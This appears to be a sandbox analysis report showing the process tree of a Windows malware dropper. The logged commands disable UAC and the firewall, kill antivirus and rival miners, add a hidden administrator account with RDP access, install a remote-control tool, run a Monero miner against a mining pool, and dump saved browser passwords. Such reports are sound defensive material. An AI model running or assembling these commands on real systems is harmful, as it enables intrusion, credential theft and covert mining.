        C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        9⤵
        Modifies registry key
        
        PID:2432
      - C:\Users\Admin\AppData\Roaming\1337\D32.exe
        
        "C:\Users\Admin\AppData\Roaming\1337\D32.exe"
        6⤵
        Executes dropped EXE
        
        PID:1532
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\84BA.tmp\84CA.bat C:\Users\Admin\AppData\Roaming\1337\D32.exe"
        7⤵
        
        PID:1648
        
        C:\Windows\system32\sc.exe
        
        sc delete swprv
        8⤵
        
        PID:280
        
        C:\Windows\system32\net.exe
        
        net stop MinerGate
        8⤵
        
        PID:1076
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MinerGate
        9⤵
        
        PID:1988
        
        C:\Windows\system32\timeout.exe
        
        timeout 1 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:924
        
        C:\Windows\system32\sc.exe
        
        sc delete MinerGate
        8⤵
        
        PID:1468
        
        C:\Windows\system32\taskkill.exe
        
        TASKKILL /IM MBAMService.exe /T /F
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1072
        
        C:\Windows\system32\net.exe
        
        net stop MBAMService
        8⤵
        
        PID:2108
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MBAMService
        9⤵
        
        PID:2120
        
        C:\Windows\system32\timeout.exe
        
        timeout 1 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:2192
        
        C:\Windows\system32\sc.exe
        
        sc delete MBAMService
        8⤵
        
        PID:2308
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f
        8⤵
        
        PID:2332
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
        8⤵
        
        PID:2384
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
        8⤵
        
        PID:2392
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        8⤵
        
        PID:2408
        
        C:\Windows\System32\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        9⤵
        Modifies registry key
        
        PID:2424
    - - C:\Programdata\microsoft\intel\HClean.exe
        
        "C:\Programdata\microsoft\intel\HClean.exe"
        5⤵
        Executes dropped EXE
        
        PID:1736
    - - C:\Programdata\microsoft\intel\Temp.exe
        
        "C:\Programdata\microsoft\intel\Temp.exe"
        5⤵
        Executes dropped EXE
        
        PID:908
    - - C:\Programdata\microsoft\intel\R.exe
        
        "C:\Programdata\microsoft\intel\R.exe"
        5⤵
        Executes dropped EXE
        
        PID:1680
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Log\run.vbs"
        6⤵
        
        PID:1832
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Log\pause.bat" "
        7⤵
        Loads dropped DLL
        
        PID:1612
        
        C:\Log\Rar.exe
        
        "Rar.exe" e -p40564203 db.exe
        8⤵
        Executes dropped EXE
        
        PID:864
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 5
        8⤵
        Delays execution with timeout.exe
        
        PID:2040
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Log\install.vbs"
        8⤵
        
        PID:2792
        
        C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Log\install.vbs" Run
        9⤵
        Drops file in Windows directory
        
        PID:2912
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Log\install.bat" "
        10⤵
        Loads dropped DLL
        
        PID:604
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        11⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rutserv.exe
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2732
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rfusclient.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im systemc.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2972
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im drivemanag.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im dumprep.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:436
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im winlogs.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im svnhost.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2360
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im svcservice.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2404
        
        C:\Windows\SysWOW64\net.exe
        
        net stop RManService
        11⤵
        
        PID:2428
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RManService
        12⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2436
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
        11⤵
        Drops file in Drivers directory
        
        PID:1704
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\DEVICEMAP" /f
        11⤵
        
        PID:2476
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKEY_CURRENT_USER\Software\TektonIT\Remote Manipulator System" /f
        11⤵
        
        PID:2464
        
        C:\Windows\SysWOW64\regedit.exe
        
        regedit /s "regedit.reg"
        11⤵
        Modifies firewall policy service
        Runs .reg file with regedit
        
        PID:2500
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 1
        11⤵
        Delays execution with timeout.exe
        
        PID:2168
        
        C:\Folder58\svnhost.exe
        
        svnhost.exe /silentinstall
        11⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2508
        
        C:\Folder58\svnhost.exe
        
        svnhost.exe /firewall
        11⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1076
        
        C:\Windows\SysWOW64\regedit.exe
        
        regedit /s regedit.reg
        11⤵
        Modifies firewall policy service
        Runs .reg file with regedit
        
        PID:2556
        
        C:\Folder58\svnhost.exe
        
        svnhost.exe /start
        11⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2572
        
        C:\Windows\SysWOW64\sc.exe
        
        sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
        11⤵
        
        PID:2684
        
        C:\Windows\SysWOW64\sc.exe
        
        sc config RManService obj= LocalSystem type= interact type= own
        11⤵
        
        PID:2656
        
        C:\Windows\SysWOW64\sc.exe
        
        sc config RManService DisplayName= "RManService"
        11⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 2
        11⤵
        Delays execution with timeout.exe
        
        PID:2736
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Folder58\*.*"
        11⤵
        Views/modifies file attributes
        
        PID:852
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Folder58"
        11⤵
        Views/modifies file attributes
        
        PID:1204
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Log"
        11⤵
        Views/modifies file attributes
        
        PID:3056
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rar.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2980
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im rar.exe
        11⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3012
        
        C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Log\install.vbs" Run
        9⤵
        
        PID:2932
        
        C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Log\install.vbs" Run
        9⤵
        
        PID:2960
        
        C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Log\install.vbs" Run
        9⤵
        
        PID:2992
        
        C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Log\install.vbs" Run
        9⤵
        
        PID:3040
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 2
        8⤵
        Delays execution with timeout.exe
        
        PID:2828
    - - C:\Programdata\microsoft\intel\R8.exe
        
        "C:\Programdata\microsoft\intel\R8.exe"
        5⤵
        Executes dropped EXE
        
        PID:476
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
        6⤵
        
        PID:1604
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\rdp\pause.bat" "
        7⤵
        Loads dropped DLL
        
        PID:1628
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Rar.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Rar.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2084
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:2164
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        8⤵
        
        PID:2504
        
        C:\rdp\Rar.exe
        
        "Rar.exe" e -p555 db.rar
        8⤵
        Executes dropped EXE
        
        PID:2528
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Rar.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2564
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 2
        8⤵
        Delays execution with timeout.exe
        
        PID:2624
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
        8⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\rdp\bat.bat" "
        9⤵
        Loads dropped DLL
        
        PID:2272
        
        C:\Windows\SysWOW64\reg.exe
        
        reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
        10⤵
        
        PID:2300
        
        C:\Windows\SysWOW64\reg.exe
        
        reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
        10⤵
        
        PID:2192
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
        10⤵
        
        PID:2308
        
        C:\Windows\SysWOW64\net.exe
        
        net.exe user "john" "12345" /add
        10⤵
        
        PID:2692
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user "john" "12345" /add
        11⤵
        
        PID:2752
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        10⤵
        
        PID:2924
        
        C:\Windows\SysWOW64\net.exe
        
        net localgroup "Администраторы" "John" /add
        10⤵
        
        PID:3012
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
        11⤵
        
        PID:2892
        
        C:\Windows\SysWOW64\net.exe
        
        net localgroup "Administrators" "John" /add
        10⤵
        
        PID:3024
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administrators" "John" /add
        11⤵
        
        PID:1728
        
        C:\Windows\SysWOW64\net.exe
        
        net localgroup "Пользователи удаленного рабочего стола" John /add
        10⤵
        
        PID:1360
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
        11⤵
        
        PID:976
        
        C:\Windows\SysWOW64\net.exe
        
        net localgroup "Пользователи удаленного управления" John /add
        10⤵
        
        PID:2148
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
        11⤵
        
        PID:952
        
        C:\Windows\SysWOW64\net.exe
        
        net localgroup "Remote Desktop Users" John /add
        10⤵
        
        PID:1048
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
        11⤵
        
        PID:2264
        
        C:\Windows\SysWOW64\reg.exe
        
        reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
        10⤵
        
        PID:2328
        
        C:\rdp\RDPWInst.exe
        
        "RDPWInst.exe" -i -o
        10⤵
        Executes dropped EXE
        Modifies WinLogon
        Drops file in Program Files directory
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
        11⤵
        
        PID:2112
        
        C:\rdp\RDPWInst.exe
        
        "RDPWInst.exe" -w
        10⤵
        Executes dropped EXE
        
        PID:2224
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
        10⤵
        Drops file in Program Files directory
        Views/modifies file attributes
        
        PID:2452
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Program Files\RDP Wrapper"
        10⤵
        Drops file in Program Files directory
        Views/modifies file attributes
        
        PID:1544
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\rdp"
        10⤵
        Views/modifies file attributes
        
        PID:1620
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 2
        8⤵
        Delays execution with timeout.exe
        
        PID:2124
    - - C:\Programdata\microsoft\intel\MOS.exe
        
        "C:\Programdata\microsoft\intel\MOS.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:528
      - C:\Users\Admin\AppData\Local\Temp\RarSFX0\M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\M.exe"
        6⤵
        Executes dropped EXE
        
        PID:1440
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\R.vbs"
        6⤵
        
        PID:1148
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Programdata\Microsoft\Intel\OS.bat" "
        7⤵
        Loads dropped DLL
        
        PID:960
        
        \??\c:\Programdata\Microsoft\Intel\Cheat64.exe
        
        "c:\Programdata\Microsoft\Intel\Cheat64.exe" /qn
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1692
        
        C:\ProgramData\System32\Logs\ShellExperienceHost.exe
        
        C:\ProgramData\System32\Logs\ShellExperienceHost.exe
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x -t 1
        10⤵
        Loads dropped DLL
        
        PID:1684
        
        C:\ProgramData\WindowsTask\MicrosoftShellHost.exe
        
        C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x -t 1
        11⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
    - - C:\Programdata\microsoft\intel\P.exe
        
        "C:\Programdata\microsoft\intel\P.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1296
      - C:\programdata\microsoft\rootsystem\P.exe
        
        "C:\programdata\microsoft\rootsystem\P.exe"
        6⤵
        Executes dropped EXE
        
        PID:1500
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\programdata\microsoft\rootsystem\P.vbs"
        6⤵
        
        PID:1972
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\programdata\microsoft\rootsystem\1.exe /LoadPasswordsIE=1 /LoadPasswordsFirefox=1 /LoadPasswordsChrome=1 /LoadPasswordsOpera=1 /LoadPasswordsSafari=1 /LoadPasswordsSeaMonkey=1 /LoadPasswordsYandex=1 /stext passwords.txt
        7⤵
        Loads dropped DLL
        
        PID:1788
        
        C:\programdata\microsoft\rootsystem\1.exe
        
        C:\programdata\microsoft\rootsystem\1.exe /LoadPasswordsIE=1 /LoadPasswordsFirefox=1 /LoadPasswordsChrome=1 /LoadPasswordsOpera=1 /LoadPasswordsSafari=1 /LoadPasswordsSeaMonkey=1 /LoadPasswordsYandex=1 /stext passwords.txt
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1544
    - - C:\Programdata\microsoft\intel\CHStart.exe
        
        "C:\Programdata\microsoft\intel\CHStart.exe"
        5⤵
        
        PID:1516
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c C:\programdata\microsoft\intel\H.bat
        6⤵
        Drops file in Drivers directory
        
        PID:1704
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c C:\programdata\microsoft\intel\Clean.bat
        6⤵
        Deletes itself
        
        PID:340
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete swprv
        7⤵
        
        PID:556
        
        C:\Windows\SysWOW64\net.exe
        
        net stop MinerGate
        7⤵
        
        PID:844
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MinerGate
        8⤵
        
        PID:1984
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:1084
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete MinerGate
        7⤵
        
        PID:1688
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop MBAMService
        7⤵
        
        PID:2004
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:1552
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete MBAMService
        7⤵
        
        PID:1096
        
        C:\Windows\SysWOW64\sc.exe
        
        sc start AppIDSvc
        7⤵
        
        PID:1208
        
        C:\Windows\SysWOW64\sc.exe
        
        sc config AppIDSvc start= Auto
        7⤵
        
        PID:2060
        
        C:\Windows\SysWOW64\sc.exe
        
        sc start AppMgmt
        7⤵
        
        PID:2212
        
        C:\Windows\SysWOW64\sc.exe
        
        sc config AppMgmt start= Auto
        7⤵
        
        PID:2224
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM CEF.exe /T /F
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:2288
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM CEF.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\Cefunpacked\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2364
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\Cefunpacked\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2440
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM "Windows System Driver.exe" /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2452
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM "Windows Driver.exe" /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2480
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM "COM Surrogate.exe" /T /F
        7⤵
        Kills process with taskkill
        
        PID:2520
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM "system.exe" /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2584
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM "security.exe" /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2640
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:2668
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\WindowsSQL\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2676
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\WindowsSQL\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2692
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\DirectX11b\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2720
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\DirectX11b\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2740
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\Framework\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2768
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\Framework\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2804
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM AMD.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2852
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\AMD\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2904
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\AMD\ /deny system:(OI)(CI)(F
        7⤵
        Modifies file permissions
        
        PID:2940
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM nssm.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2984
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM xmarin.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2224
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\xmarin\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2360
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\xmarin\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2324
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM wupdate.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\wupdate\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2396
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\wupdate\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2400
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM SIVapp.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2436
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\SIVapp\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2440
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\SIVapp\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2468
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM Kyubey.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2456
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\kyubey\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2496
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\kyubey\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2484
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM mel.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2540
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\QIPapp\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2536
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\QIPapp\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:2520
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM NSCPUCNMINER64.EXE /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2596
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM img002.EXE /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2636
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\NSCPUCNMINER\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:960
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\NSCPUCNMINER\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2684
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM monotype.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\monotype\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2808
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\monotype\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2896
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM xpon.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2908
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\xpon\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:3016
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\xpon\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:3048
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM winhost.exe /T /F
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3044
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM attrib.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2144
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM helper.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3020
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM xmrig.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1208
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\isminer\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:1660
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\isminer\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
